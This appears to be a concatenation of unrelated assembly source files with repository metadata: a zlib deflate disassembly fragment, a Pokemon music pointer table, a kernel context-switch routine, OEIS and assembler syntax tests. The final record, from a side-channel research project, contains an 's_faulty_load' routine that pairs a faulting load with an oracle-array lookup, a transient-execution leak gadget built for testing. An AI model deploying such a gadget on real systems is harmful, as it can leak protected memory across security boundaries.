.L000034E8 .size deflateInit2_, .-deflateInit2_ # ---------------------- .L000035AA: .p2align 3 # ---------------------- .globl deflateInit_ .type deflateInit_, @function deflateInit_: pushl %edi pushl %esi pushl %ebx subl $16, %esp movl 40(%esp), %eax movl 32(%esp), %esi movl 36(%esp), %edi testl %eax, %eax je .L000037D8 .L000035CA: cmpl $56, 44(%esp) jne .L000037D8 .L000035D5: cmpb $49, (%eax) jne .L000037D8 .L000035DE: testl %esi, %esi je .L000037E0 .L000035E6: movl 32(%esi), %eax movl $0, 24(%esi) testl %eax, %eax je .L000037C0 .L000035F8: movl 36(%esi), %ebx testl %ebx, %ebx je .L000037B0 .L00003603: cmpl $-1, %edi je .L000037A0 .L0000360C: cmpl $9, %edi jg .L000037E0 .L00003615: movl %edi, %eax shrl $31, %eax testb %al, %al jne .L000037E0 .L00003622: movl $5828, 8(%esp) movl $1, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L0000363B: testl %eax, %eax movl %eax, %ebx je .L00003810 .L00003645: movl %eax, 28(%esi) movl %esi, (%eax) movl $1, 24(%eax) movl $0, 28(%eax) movl $15, 48(%eax) movl $32768, 44(%eax) movl $32767, 52(%eax) movl $15, 80(%eax) movl $32768, 76(%eax) movl $32767, 84(%eax) movl $5, 88(%eax) movl $2, 8(%esp) movl $32768, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L000036A2: movl %eax, 56(%ebx) movl $2, 8(%esp) movl 44(%ebx), %eax movl %eax, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L000036BD: movl %eax, 64(%ebx) movl $2, 8(%esp) movl 76(%ebx), %eax movl %eax, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L000036D8: movl $0, 5824(%ebx) movl $16384, 5788(%ebx) movl %eax, 68(%ebx) movl $4, 8(%esp) movl $16384, 4(%esp) movl 40(%esi), %eax movl %eax, (%esp) call *32(%esi) .L00003708: movl 5788(%ebx), %edx leal 0(,%edx,4), %ecx movl %ecx, 12(%ebx) movl 56(%ebx), %ecx movl %eax, 8(%ebx) testl %ecx, %ecx je .L000037E8 .L00003726: movl 64(%ebx), %ecx testl %ecx, %ecx je .L000037E8 .L00003731: movl 68(%ebx), %ecx testl %ecx, %ecx je .L000037E8 .L0000373C: testl %eax, %eax je .L000037E8 .L00003744: movl %edx, %ecx andl $-2, %ecx leal (%edx,%edx,2), %edx addl %eax, %ecx addl %edx, %eax movl %ecx, 5796(%ebx) movl %eax, 5784(%ebx) movl %edi, 132(%ebx) movl $0, 136(%ebx) movb $8, 36(%ebx) movl %esi, (%esp) call deflateResetKeep .L00003778: testl %eax, %eax movl %eax, %ebx je .L00003788 .L0000377E: addl $16, %esp movl %ebx, %eax popl %ebx popl %esi popl %edi ret .L00003787: .p2align 3 .L00003788: movl 28(%esi), %eax call lm_init .L00003790: addl $16, %esp movl %ebx, %eax popl %ebx popl %esi popl %edi ret .L00003799: .p2align 4 .L000037A0: movl $6, %edi jmp .L00003622 .L000037AA: .p2align 3 .L000037B0: movl $zcfree, 36(%esi) jmp .L00003603 .L000037BC: .p2align 3 .L000037C0: movl $zcalloc, 32(%esi) movl $0, 40(%esi) jmp .L000035F8 .L000037D3: .p2align 3 .L000037D8: movl $-6, %ebx jmp .L0000377E .L000037DF: .p2align 3 .L000037E0: movl $-2, %ebx jmp .L0000377E .L000037E7: .p2align 3 .L000037E8: movl z_errmsg+24, %eax movl $666, 4(%ebx) movl $-4, %ebx movl %eax, 24(%esi) movl %esi, (%esp) call deflateEnd .L00003804: jmp .L0000377E .L00003809: .p2align 4 .L00003810: movl $-4, %ebx jmp .L0000377E .size deflateInit_, .-deflateInit_ # ---------------------- .L0000381A: .p2align 3 # ---------------------- .globl deflateCopy .type deflateCopy, @function deflateCopy: pushl %ebp pushl %edi pushl %esi pushl %ebx subl $44, %esp movl 68(%esp), %eax movl 64(%esp), %ebp testl %eax, %eax je .L00003AD0 .L00003837: testl %ebp, %ebp je .L00003AD0 .L0000383F: movl 28(%eax), %edx testl %edx, %edx je .L00003AD0 .L0000384A: movl (%eax), %ecx movl %ecx, (%ebp) movl 4(%eax), %ecx movl %ecx, 4(%ebp) movl 8(%eax), %ecx movl %ecx, 8(%ebp) movl 12(%eax), %ecx movl %ecx, 12(%ebp) movl 16(%eax), %ecx movl %ecx, 16(%ebp) movl 20(%eax), %ecx movl %ecx, 20(%ebp) movl 24(%eax), %ecx movl %ecx, 24(%ebp) movl 28(%eax), %ecx movl %ecx, 28(%ebp) movl 32(%eax), %ecx movl %ecx, 32(%ebp) movl 36(%eax), %ebx movl %ebx, 36(%ebp) movl 40(%eax), %ebx movl %ebx, 40(%ebp) movl 44(%eax), %esi movl %esi, 44(%ebp) movl 48(%eax), %esi movl %esi, 48(%ebp) movl 52(%eax), %eax movl %eax, 52(%ebp) movl %ebx, (%esp) movl %edx, 28(%esp) movl $5828, 8(%esp) movl $1, 4(%esp) call *%ecx .L000038B6: movl 28(%esp), %edx testl %eax, %eax movl %eax, %ebx je .L00003AE8 .L000038C4: testb $1, %bl movl %eax, %edi movl %eax, 28(%ebp) movl %edx, %esi movl $5828, %eax jne .L00003AB8 .L000038D9: testl $2, %edi jne .L00003AA0 .L000038E5: movl %eax, %ecx shrl $2, %ecx testb $2, %al rep movsl jne .L00003A88 .L000038F4: testb $1, %al jne .L00003A78 .L000038FC: movl %ebp, (%ebx) movl $2, 8(%esp) movl 44(%ebx), %eax movl %eax, 4(%esp) movl 40(%ebp), %eax movl %edx, 28(%esp) movl %eax, (%esp) call *32(%ebp) .L0000391A: movl %eax, 56(%ebx) movl $2, 8(%esp) movl 44(%ebx), %eax movl %eax, 4(%esp) movl 40(%ebp), %eax movl %eax, (%esp) call *32(%ebp) .L00003935: movl %eax, 64(%ebx) movl $2, 8(%esp) movl 76(%ebx), %eax movl %eax, 4(%esp) movl 40(%ebp), %eax movl %eax, (%esp) call *32(%ebp) .L00003950: movl %eax, 68(%ebx) movl $4, 8(%esp) movl 5788(%ebx), %eax movl %eax, 4(%esp) movl 40(%ebp), %eax movl %eax, (%esp) call *32(%ebp) .L0000396E: movl 28(%esp), %edx movl %eax, %esi movl %eax, 8(%ebx) movl 56(%ebx), %eax testl %eax, %eax je .L00003AD8 .L00003982: movl 64(%ebx), %edi testl %edi, %edi je .L00003AD8 .L0000398D: movl 68(%ebx), %ecx testl %ecx, %ecx je .L00003AD8 .L00003998: testl %esi, %esi je .L00003AD8 .L000039A0: movl 44(%ebx), %edi movl 56(%edx), %ecx movl %edx, 28(%esp) movl %eax, (%esp) addl %edi, %edi movl %edi, 8(%esp) movl %ecx, 4(%esp) call memcpy .L000039BC: movl 28(%esp), %edx movl 44(%ebx), %edi movl 64(%ebx), %eax movl 64(%edx), %ecx addl %edi, %edi movl %edi, 8(%esp) movl %eax, (%esp) movl %ecx, 4(%esp) call memcpy .L000039DB: movl 28(%esp), %edx movl 76(%ebx), %edi movl 68(%ebx), %eax movl 68(%edx), %ecx addl %edi, %edi movl %edi, 8(%esp) movl %eax, (%esp) movl %ecx, 4(%esp) call memcpy .L000039FA: movl 28(%esp), %edx movl 8(%ebx), %eax movl 12(%ebx), %edi movl 8(%edx), %ecx movl %eax, (%esp) movl %edi, 8(%esp) movl %ecx, 4(%esp) call memcpy .L00003A17: movl 28(%esp), %edx movl 8(%ebx), %ecx movl 16(%edx), %eax addl %ecx, %eax subl 8(%edx), %eax movl %eax, 16(%ebx) movl 5788(%ebx), %eax movl %eax, %edx leal (%eax,%eax,2), %eax andl $-2, %edx addl %eax, %ecx addl %edx, %esi leal 148(%ebx), %eax movl %eax, 2840(%ebx) leal 2440(%ebx), %eax movl %eax, 2852(%ebx) leal 2684(%ebx), %eax movl %eax, 2864(%ebx) xorl %eax, %eax movl %esi, 5796(%ebx) movl %ecx, 5784(%ebx) .L00003A6D: addl $44, %esp popl %ebx popl %esi popl %edi popl %ebp ret .L00003A75: .p2align 3 .L00003A78: movzbl (%esi,%ecx), %eax movb %al, (%edi,%ecx) jmp .L000038FC .L00003A84: .p2align 3 .L00003A88: movzwl (%esi), %ecx testb $1, %al movw %cx, (%edi) movl $2, %ecx je .L000038FC .L00003A9B: jmp .L00003A78 .L00003A9D: .p2align 3 .L00003AA0: movzwl (%esi), %ecx subl $2, %eax addl $2, %esi movw %cx, (%edi) addl $2, %edi jmp .L000038E5 .L00003AB4: .p2align 3 .L00003AB8: movzbl (%edx), %eax leal 1(%ebx), %edi leal 1(%edx), %esi movb %al, (%ebx) movl $5827, %eax jmp .L000038D9 .L00003ACD: .p2align 3 .L00003AD0: movl $-2, %eax jmp .L00003A6D .L00003AD7: .p2align 3 .L00003AD8: movl %ebp, (%esp) call deflateEnd .L00003AE0: movl $-4, %eax jmp .L00003A6D .L00003AE7: .p2align 3 .L00003AE8: movl $-4, %eax jmp .L00003A6D .size deflateCopy, .-deflateCopy # ---------------------- .hidden _tr_flush_bits .hidden _length_code .hidden _dist_code .hidden _tr_flush_block .hidden _tr_init .hidden _tr_stored_block .hidden _tr_align .hidden zcfree .hidden zcalloc .ident "GCC: (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3" .section .note.GNU-stack,"",@progbits
21.131608
78
0.505713
43f0e01af1c162d1daa39c68e9afa5efede0c297
1,538
asm
Assembly
audio/music_pointers.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
2
2022-02-17T11:11:03.000Z
2022-02-21T03:41:01.000Z
audio/music_pointers.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
audio/music_pointers.asm
AtmaBuster/pokeplat-gen2-old
01e42c55db5408d72d89133dc84a46c699d849ad
[ "blessing" ]
null
null
null
; See song sections in audio.asm. Music: ; entries correspond to MUSIC_* constants dba Music_Nothing dba Music_Placeholder dba Music_CrystalOpening dba Music_TitleScreen dba Music_MainMenu dba Music_SpecialProgram dba Music_TwinleafTown dba Music_LookRival dba Music_Route201 dba Music_RowansLab dba Music_DawnsTheme dba Music_LucassTheme dba Music_RivalBattle dba Music_TrainerVictory dba Music_SinnohWildBattle dba Music_SinnohWildBattleNight dba Music_WildPokemonVictory dba Music_SuccessfulCapture dba Music_SandgemTown dba Music_ShowMeAround dba Music_PokemonCenter dba Music_HealPokemon dba Music_PokeMart dba Music_Evolution dba Music_LookYoungster dba Music_SinnohTrainerBattle dba Music_LookLass dba Music_VioletCity dba Music_LookMysticalMan dba Music_Route203 dba Music_OreburghGate dba Music_OreburghCity dba Music_UnionCave dba Music_LookHiker dba Music_Gym dba Music_SinnohGymBattle dba Music_GymLeaderVictory dba Music_LookRocket dba Music_RocketBattle dba Music_Route206 dba Music_LookBeauty dba Music_LookPokemaniac dba Music_LookSage dba Music_LookOfficer dba Music_Bicycle dba Music_Surf dba Music_ChampionBattle dba Music_HallOfFame dba Music_Credits dba Music_PostCredits dba Music_ProfOak dba Music_BattleTowerTheme dba Music_BattleTowerLobby dba Music_PokeFluteChannel dba Music_Mom dba Music_PokemonLullaby dba Music_PokemonMarch dba Music_Printer dba Music_MobileCenter dba Music_MobileAdapterMenu dba Music_MobileAdapter dba Music_RuinsOfAlphRadio
22.955224
41
0.86541
ed392db003ef1e9ea98ee484015d1a2832621e49
324
asm
Assembly
src/arch/x86/thread/thread.asm
Eytoue/PencilKernel
f00b331c09a6d0fe7a5df34a25ac9113f9d047d4
[ "MIT" ]
2
2022-02-03T07:32:13.000Z
2022-02-12T11:56:00.000Z
src/arch/x86/thread/thread.asm
Eytoue/PencilKernel
f00b331c09a6d0fe7a5df34a25ac9113f9d047d4
[ "MIT" ]
1
2022-02-10T02:59:10.000Z
2022-03-22T06:51:51.000Z
src/arch/x86/thread/thread.asm
LinChenjun2008/Pencil-Kernel
f00b331c09a6d0fe7a5df34a25ac9113f9d047d4
[ "MIT" ]
null
null
null
[bits 32] section .text global switch_to switch_to: push esi push edi push ebx push ebp mov eax,[esp + ((4 * 4) + 4)] mov [eax],esp mov eax,[esp + ((4 * 4) + 8)] mov esp,[eax] pop ebp pop ebx pop edi pop esi ret
18
37
0.425926
c98e3cc222266b0b45a853bf49e88d3be2181ed8
2,189
asm
Assembly
programs/oeis/134/A134393.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/134/A134393.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/134/A134393.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A134393: Row sums of triangle A134392. ; 1,3,8,20,45,91,168,288,465,715,1056,1508,2093,2835,3760,4896,6273,7923,9880,12180,14861,17963,21528,25600,30225,35451,41328,47908,55245,63395,72416,82368,93313,105315,118440,132756,148333,165243,183560,203360,224721,247723,272448,298980,327405,357811,390288,424928,461825,501075,542776,587028,633933,683595,736120,791616,850193,911963,977040,1045540,1117581,1193283,1272768,1356160,1443585,1535171,1631048,1731348,1836205,1945755,2060136,2179488,2303953,2433675,2568800,2709476,2855853,3008083,3166320,3330720,3501441,3678643,3862488,4053140,4250765,4455531,4667608,4887168,5114385,5349435,5592496,5843748,6103373,6371555,6648480,6934336,7229313,7533603,7847400,8170900,8504301,8847803,9201608,9565920,9940945,10326891,10723968,11132388,11552365,11984115,12427856,12883808,13352193,13833235,14327160,14834196,15354573,15888523,16436280,16998080,17574161,18164763,18770128,19390500,20026125,20677251,21344128,22027008,22726145,23441795,24174216,24923668,25690413,26474715,27276840,28097056,28935633,29792843,30668960,31564260,32479021,33413523,34368048,35342880,36338305,37354611,38392088,39451028,40531725,41634475,42759576,43907328,45078033,46271995,47489520,48730916,49996493,51286563,52601440,53941440,55306881,56698083,58115368,59559060,61029485,62526971,64051848,65604448,67185105,68794155,70431936,72098788,73795053,75521075,77277200,79063776,80881153,82729683,84609720,86521620,88465741,90442443,92452088,94495040,96571665,98682331,100827408,103007268,105222285,107472835,109759296,112082048,114441473,116837955,119271880,121743636,124253613,126802203,129389800,132016800,134683601,137390603,140138208,142926820,145756845,148628691,151542768,154499488,157499265,160542515,163629656,166761108,169937293,173158635,176425560,179738496,183097873,186504123,189957680,193458980,197008461,200606563,204253728,207950400,211697025,215494051,219341928,223241108,227192045,231195195,235251016,239359968,243522513,247739115,252010240,256336356,260717933,265155443,269649360,274200160,278808321,283474323,288198648,292981780,297824205,302726411,307688888,312712128,317796625,322942875 add $0,1 mov $1,$0 bin $0,3 add $0,$1 add $1,1 mul $1,$0 div $1,2
199
2,080
0.865692
8f717c21ff53fa895f3e66ce0fb49ba5c6447809
117
asm
Assembly
Tests/yasm-regression/jmp64-2.asm
13xforever/x86-assembly-textmate-bundle
f1bb62f77b776d87d0fd85b0276d4237ff72c43c
[ "MIT" ]
69
2015-04-16T18:01:22.000Z
2022-02-15T07:54:26.000Z
Tests/yasm-regression/jmp64-2.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
17
2016-09-20T08:49:09.000Z
2021-02-19T15:01:04.000Z
Tests/yasm-regression/jmp64-2.asm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
19
2016-05-31T07:11:14.000Z
2021-07-19T10:17:12.000Z
[bits 64] l1: mov dword [l2], l2 ; out: c7 04 25 0d 00 00 00 0d 00 00 00 jc short l3 ; out: 72 00 l3: l2 equ $-l1
16.714286
59
0.598291
11fd0a79700698a0f2cc1c1b97cf392eef22f65b
201
asm
Assembly
libsrc/_DEVELOPMENT/adt/wa_stack/c/sdcc_iy/wa_stack_size_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/_DEVELOPMENT/adt/wa_stack/c/sdcc_iy/wa_stack_size_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/_DEVELOPMENT/adt/wa_stack/c/sdcc_iy/wa_stack_size_fastcall.asm
jpoikela/z88dk
7108b2d7e3a98a77de99b30c9a7c9199da9c75cb
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; size_t wa_stack_size_fastcall(wa_stack_t *s) SECTION code_clib SECTION code_adt_wa_stack PUBLIC _wa_stack_size_fastcall EXTERN asm_wa_stack_size defc _wa_stack_size_fastcall = asm_wa_stack_size
16.75
48
0.870647
3a1478a9617d45cf689d0c021cb310243fea70eb
419
asm
Assembly
programs/oeis/007/A007600.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/007/A007600.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/007/A007600.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A007600: Minimal number of subsets in a separating family for a set of n elements. ; 0,2,3,4,5,5,6,6,6,7,7,7,8,8,8,8,8,8,9,9,9,9,9,9,9,9,9,10,10,10,10,10,10,10,10,10,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,11,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12,12 mul $0,2 pow $0,2 mov $1,2 lpb $0 add $2,$1 add $0,$2 div $0,3 sub $0,1 mov $1,3 lpe add $1,$0 sub $1,2 mov $0,$1
24.647059
208
0.613365
a59c83d7a59395bd38476ce0a97bc13a92cf013e
2,071
asm
Assembly
testsuite/ubivm/output/returning_values.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/output/returning_values.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
testsuite/ubivm/output/returning_values.asm
alexgarzao/UOP
12460841ff2b9991d2f7f461635b1f551413823f
[ "MIT" ]
null
null
null
.constant_pool .const 0 string [start] .const 1 string [multiplica] .const 2 string [x] .const 3 string [y] .const 4 string [calcula] .const 5 string [constructor] .const 6 string [m] .const 7 string [a] .const 8 string [s] .const 9 int [10] .const 10 int [20] .const 11 string [Multiplicacao dos valores: ] .const 12 int [2] .const 13 string [io.writeln] .const 14 string [Adicao dos valores : ] .const 15 string [Subtracao dos valores : ] .end .entity start .valid_context_when (always) .method multiplica .param 0 int x .param 1 int y .result 0 int ldparam 0 --> [x] ldparam 1 --> [y] mul stresult 0 ret .end .method calcula .param 0 int x .param 1 int y .result 0 int .result 1 int ldparam 0 --> [x] ldparam 1 --> [y] add stresult 0 ldparam 0 --> [x] ldparam 1 --> [y] sub stresult 1 ret .end .method constructor .var 0 int m .var 1 int a .var 2 int s ldconst 9 --> [10] ldconst 10 --> [20] ldself mcall 1 --> [multiplica] stvar 0 --> [m] ldconst 9 --> [10] ldconst 10 --> [20] ldself mcall 4 --> [calcula] stvar 1 --> [a] stvar 2 --> [s] ldconst 11 --> [Multiplicacao dos valores: ] ldvar 0 --> [m] ldconst 12 --> [2] lcall 13 --> [io.writeln] ldconst 14 --> [Adicao dos valores : ] ldvar 1 --> [a] ldconst 12 --> [2] lcall 13 --> [io.writeln] ldconst 15 --> [Subtracao dos valores : ] ldvar 2 --> [s] ldconst 12 --> [2] lcall 13 --> [io.writeln] exit .end .end
27.25
58
0.429744
6b5c51c4ad523989b5667733bc0763575c7b2a02
1,827
nasm
Assembly
Tests/sublime-syntax tests/syntax_test_standard_macro_packages.nasm
13xforever/x86-assembly-textmate-bundle
f1bb62f77b776d87d0fd85b0276d4237ff72c43c
[ "MIT" ]
69
2015-04-16T18:01:22.000Z
2022-02-15T07:54:26.000Z
Tests/sublime-syntax tests/syntax_test_standard_macro_packages.nasm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
17
2016-09-20T08:49:09.000Z
2021-02-19T15:01:04.000Z
Tests/sublime-syntax tests/syntax_test_standard_macro_packages.nasm
javiercbk/x86-assembly-textmate-bundle
62d700e0196f62ef4353a9b95c2e64beb0a6afda
[ "MIT" ]
19
2016-05-31T07:11:14.000Z
2021-07-19T10:17:12.000Z
; SYNTAX TEST "Packages/User/x86_64 Assembly.tmbundle/Syntaxes/Nasm Assembly.sublime-syntax" __USE_ALTREG__ %use altreg proc: mov r0l,r3h ; mov al,bh ret __USE_SMARTALIGN__ alignmode generic, -1 ;^^^^^^^^^ support.function ; ^^^^^^^ support.constant ALIGNMODE nop, -1 ;^^^^^^^^^ support.function ; ^^^ support.constant alignmode k7 ; ^^ support.constant alignmode k8 ; ^^ support.constant alignmode p6 ; ^^ support.constant alignmode p5, 12 ; ^^ invalid.illegal __ALIGNMODE__ ;^^^^^^^^^^^^^ support.constant generic, nop, k7, k8, p6 ;^^^^^^^ - support.constant ; ^^^ - support.constant ; ^^ - support.constant ; ^^ - support.constant ; ^^ - support.constant __USE_FP__ Inf __Infinity__ ;^^^ support.constant NaN __QNaN__ ;^^^ support.constant QNaN __QNaN__ ;^^^^ support.constant SNaN __SNaN__ ;^^^^ support.constant float8(x) __float8__(x) ;^^^^^^ support.function float16(x) __float16__(x) ;^^^^^^^ support.function float32(x) __float32__(x) ;^^^^^^^ support.function float64(x) __float64__(x) ;^^^^^^^ support.function float80m(x) __float80m__(x) ;^^^^^^^^ support.function float80e(x) __float80e__(x) ;^^^^^^^^ support.function float128l(x) __float128l__(x) ;^^^^^^^^^ support.function float128h(x) __float128h__(x) ;^^^^^^^^^ support.function __USE_IFUNC__ ilog2(x) ;^^^^^ support.function ilog2e(x) ;^^^^^^ support.function ilog2w(x) ;^^^^^^ support.function ilog2fw(x) ;^^^^^^^ support.function ilog2f(x) ;^^^^^^ support.function ilog2cw(x) ;^^^^^^^ support.function ilog2c(x) ;^^^^^^ support.function
24.689189
92
0.565408
eb93e09e2453d43f213b8cecded0702ca6bc7c23
6,056
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1470.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1470.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_1470.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r14 push %r15 push %r8 push %rbp push %rcx push %rdi lea addresses_A_ht+0x14463, %rbp nop nop nop nop inc %r15 movl $0x61626364, (%rbp) nop nop add %r14, %r14 lea addresses_D_ht+0x13c13, %r15 nop nop nop nop nop sub $14426, %rcx mov $0x6162636465666768, %rdi movq %rdi, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop nop sub %r14, %r14 lea addresses_WC_ht+0x10cf3, %r8 nop nop cmp $43703, %r10 mov (%r8), %rbp nop nop nop and %rdi, %rdi lea addresses_D_ht+0x1ef63, %r14 clflush (%r14) nop nop nop nop nop and $64761, %r8 movb (%r14), %r10b nop nop nop nop nop dec %rcx lea addresses_normal_ht+0x1a413, %rdi dec %r15 mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop nop nop sub %r14, %r14 pop %rdi pop %rcx pop %rbp pop %r8 pop %r15 pop %r14 pop %r10 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r9 push %rax push %rbp push %rbx push %rdx // Store lea addresses_WC+0x8513, %rdx nop and %rbx, %rbx movb $0x51, (%rdx) nop nop nop nop nop and %r11, %r11 // Store lea addresses_normal+0xef0b, %r9 sub %r11, %r11 movb $0x51, (%r9) nop nop nop nop cmp %rax, %rax // Store lea addresses_D+0x6c13, %rax clflush (%rax) and %r13, %r13 movw $0x5152, (%rax) nop nop add $30850, %r9 // Load lea addresses_WT+0x1057, %r13 nop nop nop nop sub %rbx, %rbx mov (%r13), %r11 nop nop xor $25320, %r13 // Faulty Load lea addresses_WC+0x2413, %rdx nop nop nop nop nop cmp $60911, %rbp mov (%rdx), %r9w lea oracles, %r11 and $0xff, %r9 shlq $12, %r9 mov (%r11,%r9,1), %r9 pop %rdx pop %rbx pop %rbp pop %rax pop %r9 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_WC'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7, 'same': False, 'type': 'addresses_WC'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 3, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 10, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2, 'same': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_WC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 8, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'STOR'} {'src': {'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 5, 'same': False, 'type': 'addresses_WC_ht'}, 'OP': 'LOAD'} {'src': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'} {'dst': {'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'} {'38': 21829} 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 38 